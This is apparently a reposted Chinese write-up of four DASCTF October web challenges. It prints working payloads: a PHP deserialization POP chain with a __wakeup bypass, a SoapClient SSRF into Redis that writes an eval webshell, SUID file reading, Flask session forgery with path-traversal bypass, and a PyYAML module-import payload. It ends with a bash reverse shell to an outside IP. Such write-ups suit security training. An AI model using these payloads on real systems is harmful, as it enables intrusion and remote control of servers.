DASCTF10月 web
比赛忘记打了,回头看看题
ez_pop
highlight_file(__FILE__);error_reporting(0);class fine{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } public function __invoke() { call_user_func($this->cmd, $this->content); } public function __wakeup() { $this->cmd = ""; die("Go listen to Jay Chou's secret-code! Really nice"); }}class show{ public $ctf; public $time = "Two and a half years"; public function __construct($ctf) { $this->ctf = $ctf; } public function __toString() { return $this->ctf->show(); } public function show(): string { return $this->ctf . ": Duration of practice: " . $this->time; }}class sorry{ private $name; private $password; public $hint = "hint is depend on you"; public $key; public function __construct($name, $password) { $this->name = $name; $this->password = $password; } public function __sleep() { $this->hint = new secret_code(); } public function __get($name) { $name = $this->key; $name(); } public function __destruct() { if ($this->password == $this->name) { echo $this->hint; } else if ($this->name = "jay") { secret_code::secret(); } else { echo "This is our code"; } } public function getPassword() { return $this->password; } public function setPassword($password): void { $this->password = $password; }}class secret_code{ protected $code; public static function secret() { include_once "hint.php"; hint(); } public function __call($name, $arguments) { $num = $name; $this->$num(); } private function show() { return $this->code->secret; }}if (isset($_GET['pop'])) { $a = unserialize($_GET['pop']); $a->setPassword(md5(mt_rand()));} else { $a = new show("Ctfer"); echo $a->show();}
一个简单的链子
sorry::__destruct->show::__tostring->secret_code::show()->sorry::__get->fine::invoke
payload:
class fine{ public $cmd; public $content; public function __construct()#构造方法 { $this->cmd = 'system'; $this->content = 'ls'; }}class show{ public $ctf; public $time;}class sorry{ public $name; public $password; public $hint; public $key;}class secret_code{ public $code;}$a = new sorry();$a->hint = new show();$a->hint->ctf = new secret_code();$a->hint->ctf->code = new sorry();$a->hint->ctf->code->key = new fine();$b = $a;echo serialize($b);
记得替换一下fine后面的元素个数,大于自身的个数就能绕过wakeup
EasyLove
题目提示redis
源代码:
<?phphighlight_file(__FILE__);error_reporting(0);class swpu{ public $wllm; public $arsenetang; public $l61q4cheng; public $love; public function __construct($wllm,$arsenetang,$l61q4cheng,$love){ $this->wllm = $wllm; $this->arsenetang = $arsenetang; $this->l61q4cheng = $l61q4cheng; $this->love = $love; } public function newnewnew(){ $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng); } public function flag(){ $this->love->getflag(); } public function __destruct(){ $this->newnewnew(); $this->flag(); }}class hint{ public $hint; public function __destruct(){ echo file_get_contents($this-> hint.'hint.php'); }}$hello = $_GET['hello'];$world = unserialize($hello);
值得注意的是这个地方:
public function newnewnew(){ $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng); }
在这里的值都是我们可控的,而反序列化打redis一半都是配合ssrf这里也给我们提供了条件
可以使用内置类SoapClient
因为他的destruct函数里面调用所以会自动进入,我们只需要构造我们需要的值即可
class swpu{ public $wllm; public $arsenetang; public $l61q4cheng; public $love;}$a = new swpu();$a->wllm = 'SoapClient';$a->arsenetang = null;$target = 'http://127.0.0.1:6379/';$poc = "flushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset paixiaoxing '=eval(\$_REQUEST[1])?>'\r\nsave";$a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello");echo urlencode(serialize($a));
尝试写入一句话进shell.php
发现虽然页面在加载,也就是说我们的命令已经执行,但是访问shell.php发现并未写入,猜测应该是redis有认证,我们需要找到他的密码。
回到题目继续往下看发现源码里面含有一个hint.php
现在就是要尝试读取到hint.php里面的内容
也可以任意构造gopher协议,返回为空,这样他就会直接file_get_contents('hint.php');
查看发现给出提示
$hint = "My favorite database is Redis and My favorite day is 20220311";?>
猜测20220311是redis的认证密码
直接在flushall前面加上认证再写入一句话
$poc = "auth 20220311\r\nflushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset paixiaoxing '=eval(\$_REQUEST[1])?>'\r\nsave";
写入即可
蚁剑连接上去发现在根目录下面有个start.sh
找到了flag的位置,直接cat发现没有权限,猜测需要提权
用ffind寻找suid
蚁剑不好找,而且他也没办法直接反弹,我们可以写一个sh文件然后bash执行就能反弹
find / -perm -u=s -type f 2>/dev/null
发现date命令中-f可以查看文件,直接date -f /hereisflag/flllll111aaagg
hade_waibo
算是非预期的把:
在随意登陆进去之后,发现一个文件读取
然后任意文件读取之后会在图片里面返回出来
能任意文件阅读,题目提示flag在根目录下面的一个文件里面,而且在之前的题目里面看到在根目录下面存在start.sh
直接查看start.sh
#!/bin/shecho $FLAG > /ghjsdk_F149_H3re_asdasfcexport FLAG=no_flagFLAG=no_flagapache2-foregroundrm -rf /flag.shtail -f /dev/null
直接找到咯文件名、
直接进行文件读取
预期解:待会写
BlogSystem
打开发现是一个博客网页,注册的时候发现admin已经被注册掉,而登陆之后带着的flaksession里面解码之后有我们的用户名信息,猜测我们需要变成admin
在博客下面发现在模板中隐藏的secret-key
利用这个secret-key解码发现成功,我们直接用它伪造session
···
登陆进去之后发现原来注册之后的路由功能,多了一个download
尝试目录穿越,发现..以及//
被替换成空了可以用.//./
来构造目录穿越
下载到app.py源码
from flask import *import configapp = Flask(__name__)app.config.from_object(config)app.secret_key = '7his_1s_my_fav0rite_ke7'from model import *#导入的包1from view import *#导入的包2app.register_blueprint(index, name='index')app.register_blueprint(blog, name='blog')@app.context_processordef login_statue(): username = session.get('username') if username: try: user = User.query.filter(User.username == username).first() if user: return {"username": username, 'name': user.name, 'password': user.password} except Exception as e: return e return {}@app.errorhandler(404)def page_not_found(e): return render_template('404.html'), 404@app.errorhandler(500)def internal_server_error(e): return render_template('500.html'), 500if __name__ == '__main__': app.run('0.0.0.0', 80)
发现该文件只是浅浅初始化了一下路由,我们着重可以看一下他导入的包
flask config view modle
flask就不说了,上面的session伪造,
可以看出来这三个包就是最基本的MVC结构,或者说是MVT
可以浅浅看一下MVT的介绍Peter杰
MVT介绍
MVT 全拼为Model-View-Template
MVT 核心思想 : 解耦
MVT 解析
M (模型)全拼为Model, 与MVC中的M功能相同, 负责数据处理, 内嵌了ORM框架.
V (视图)全拼为View, 与MVC中的C功能相同, 接收HttpRequest, 业务处理,返回HttpResponse.
T (模板)全拼为Template, 与MVC中的V功能相同, 负责封装构造要返回的html, 内嵌了模板引擎.
想要更加深入了解,请移步百度
想要看看他导入的文件直接下载view.py发现没有文件,那么就是在view文件夹下面的内容了,直接下载vew/__init__.py
from .index import indexfrom .blog import blog
下载index.py以及blog.py
from flask import Blueprint, session, render_template, request, flash, redirect, url_for, Response, send_filefrom werkzeug.security import check_password_hashfrom decorators import login_limit, admin_limitfrom model import *import osindex = Blueprint("index", __name__)@index.route('/')def hello(): return render_template('index.html')@index.route('/register', methods=['POST', 'GET'])def register(): if request.method == 'GET': return render_template('register.html') if request.method == 'POST': name = request.form.get('name') username = request.form.get('username') password = request.form.get('password') user = User.query.filter(User.username == username).first() if user is not None: flash("该用户名已存在") return render_template('register.html') else: user = User(username=username, name=name) user.password_hash(password) db.session.add(user) db.session.commit() flash("注册成功!") return render_template('register.html')@index.route('/login', methods=['POST', 'GET'])def login(): if request.method == 'GET': return render_template('login.html') if request.method == 'POST': username = request.form.get('username') password = request.form.get('password') user = User.query.filter(User.username == username).first() if (user is not None) and (check_password_hash(user.password, password)): session['username'] = user.username session.permanent = True return redirect(url_for('index.hello')) else: flash("账号或密码错误") return render_template('login.html')@index.route("/updatePwd", methods=['POST', 'GET'])@login_limitdef update(): if request.method == "GET": return render_template("updatePwd.html") if request.method == 'POST': lodPwd = request.form.get("lodPwd") newPwd1 = request.form.get("newPwd1") newPwd2 = request.form.get("newPwd2") username = session.get("username") user = User.query.filter(User.username == username).first() if check_password_hash(user.password, lodPwd): if newPwd1 != newPwd2: flash("两次新密码不一致!") return render_template("updatePwd.html") else: user.password_hash(newPwd2) db.session.commit() flash("修改成功!") return render_template("updatePwd.html") else: flash("原密码错误!") return render_template("updatePwd.html")@index.route('/download', methods=['GET'])@admin_limitdef download(): if request.args.get('path'): path = request.args.get('path').replace('..', '').replace('//', '') path = os.path.join('static/upload/', path) if os.path.exists(path): return send_file(path) else: return render_template('404.html', file=path) return render_template('sayings.html', yaml='所谓『恶』,是那些只为了自己,利用和践踏弱者的家伙!但是,我虽然是这样,也知道什么是令人作呕的『恶』,所以,由我来制裁!')@index.route('/logout')def logout(): session.clear() return redirect(url_for('index.hello'))
blog.py
import osimport randomimport reimport timeimport yamlfrom flask import Blueprint, render_template, request, sessionfrom yaml import Loaderfrom decorators import login_limit, admin_limitfrom model import *blog = Blueprint("blog", __name__, url_prefix="/blog")def waf(data): if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I): return False else: return True@blog.route('/writeBlog', methods=['POST', 'GET'])@login_limitdef writeblog(): if request.method == 'GET': return render_template('writeBlog.html') if request.method == 'POST': title = request.form.get("title") text = request.form.get("text") username = session.get('username') create_time = time.strftime("%Y-%m-%d %H:%M:%S") user = User.query.filter(User.username == username).first() blog = Blog(title=title, text=text, create_time=create_time, user_id=user.id) db.session.add(blog) db.session.commit() blog = Blog.query.filter(Blog.create_time == create_time).first() return render_template('blogSuccess.html', title=title, id=blog.id)@blog.route('/imgUpload', methods=['POST'])@login_limitdef imgUpload(): try: file = request.files.get('editormd-image-file') fileName = file.filename.replace('..','') filePath = os.path.join("static/upload/", fileName) file.save(filePath) return { 'success': 1, 'message': '上传成功!', 'url': "/" + filePath } except Exception as e: return { 'success': 0, 'message': '上传失败' }@blog.route('/showBlog/' )def showBlog(id): blog = Blog.query.filter(Blog.id == id).first() comment = Comment.query.filter(Comment.blog_id == blog.id) return render_template("showBlog.html", blog=blog, comment=comment)@blog.route("/blogAll")def blogAll(): blogList = Blog.query.order_by(Blog.create_time.desc()).all() return render_template('blogAll.html', blogList=blogList)@blog.route("/update/" , methods=['POST', 'GET'])@login_limitdef update(id): if request.method == 'GET': blog = Blog.query.filter(Blog.id == id).first() return render_template('updateBlog.html', blog=blog) if request.method == 'POST': id = request.form.get("id") title = request.form.get("title") text = request.form.get("text") blog = Blog.query.filter(Blog.id == id).first() blog.title = title blog.text = text db.session.commit() return render_template('blogSuccess.html', title=title, id=id)@blog.route("/delete/" )@login_limitdef delete(id): blog = Blog.query.filter(Blog.id == id).first() db.session.delete(blog) db.session.commit() return { 'state': True, 'msg': "删除成功!" }@blog.route("/myBlog")@login_limitdef myBlog(): username = session.get('username') user = User.query.filter(User.username == username).first() blogList = Blog.query.filter(Blog.user_id == user.id).order_by(Blog.create_time.desc()).all() return render_template("myBlog.html", blogList=blogList)@blog.route("/comment", methods=['POST'])@login_limitdef comment(): text = request.values.get('text') blogId = request.values.get('blogId') username = session.get('username') create_time = time.strftime("%Y-%m-%d %H:%M:%S") user = User.query.filter(User.username == username).first() comment = Comment(text=text, create_time=create_time, blog_id=blogId, user_id=user.id) db.session.add(comment) db.session.commit() return { 'success': True, 'message': '评论成功!', }@blog.route('/myComment')@login_limitdef myComment(): username = session.get('username') user = User.query.filter(User.username == username).first() commentList = Comment.query.filter(Comment.user_id == user.id).order_by(Comment.create_time.desc()).all() return render_template("myComment.html", commentList=commentList)@blog.route('/deleteCom/' )def deleteCom(id): com = Comment.query.filter(Comment.id == id).first() db.session.delete(com) db.session.commit() return { 'state': True, 'msg': "删除成功!" }@blog.route('/saying', methods=['GET'])@admin_limitdef Saying(): if request.args.get('path'): file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack') try: with open(file, 'rb') as f: f = f.read() if waf(f): print(yaml.load(f, Loader=Loader)) return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧') else: return render_template('sayings.html', yaml='鲁迅说:你说得不对') except Exception as e: return render_template('sayings.html', yaml='鲁迅说:'+str(e)) else: with open('view/jojo.yaml', 'r', encoding='utf-8') as f: sayings = yaml.load(f, Loader=Loader) saying = random.choice(sayings) return render_template('sayings.html', yaml=saying)
主要应该先看这里
@blog.route('/imgUpload', methods=['POST'])@login_limitdef imgUpload(): try: file = request.files.get('editormd-image-file') fileName = file.filename.replace('..','') filePath = os.path.join("static/upload/", fileName) file.save(filePath) return { 'success': 1, 'message': '上传成功!', 'url': "/" + filePath } except Exception as e: return { 'success': 0, 'message': '上传失败' }
这里对文件名进行了替换,防止了目录穿越
还有一个在前端没有的页面saying
@blog.route('/saying', methods=['GET'])@admin_limitdef Saying(): if request.args.get('path'): file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack') try: with open(file, 'rb') as f: f = f.read() if waf(f): print(yaml.load(f, Loader=Loader)) return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧') else: return render_template('sayings.html', yaml='鲁迅说:你说得不对') except Exception as e: return render_template('sayings.html', yaml='鲁迅说:'+str(e)) else: with open('view/jojo.yaml', 'r', encoding='utf-8') as f: sayings = yaml.load(f, Loader=Loader) saying = random.choice(sayings) return render_template('sayings.html', yaml=saying)
如果我们get传入了path,它就会对我们传入的数据进行过滤,如果完成绕过了waf,那么他就会调用yaml的load方法来加载我们的文件
看一下waf
def waf(data): if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I): return False else: return True
这里对常用的命令执行参数进行了过滤,完全没办法绕过捏
前面调用到yaml.load也就是可以用到pyyaml反序列化
常用的反序列化标签
!!python/object
!!python/object/apply
!!python/object/new
(没学过)查看出题人的博客说,object没有合适的模块,不能执行,而第二个又被waf过滤了,那么就只剩第三个了
在源码中apply以及new他们最后进入的是同一个函数,所以payload可以通用
简而言之,就是可以写一个__init__.py
文件,然后用saying里面的load加载,因为无法目录穿越,所以只能使用__init__.py
将整个upload看作为一个软件包,然后就可以执行加载
这样我们就可以实现import static.upload的功能
然后我们直接在__init__.py
里面写入反弹shell命令,在VPS上面接收就可以getshell
访问/blog/saying?path=static/upload/poc.yaml就可以反弹shell
直接cat /flag就行
import osos.system('bash -c "bash -i >& /dev/tcp/81.68.106.68/2333 0>&1"')
!!python/module:static.upload
来源地址:https://blog.csdn.net/your_friends/article/details/127547997
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341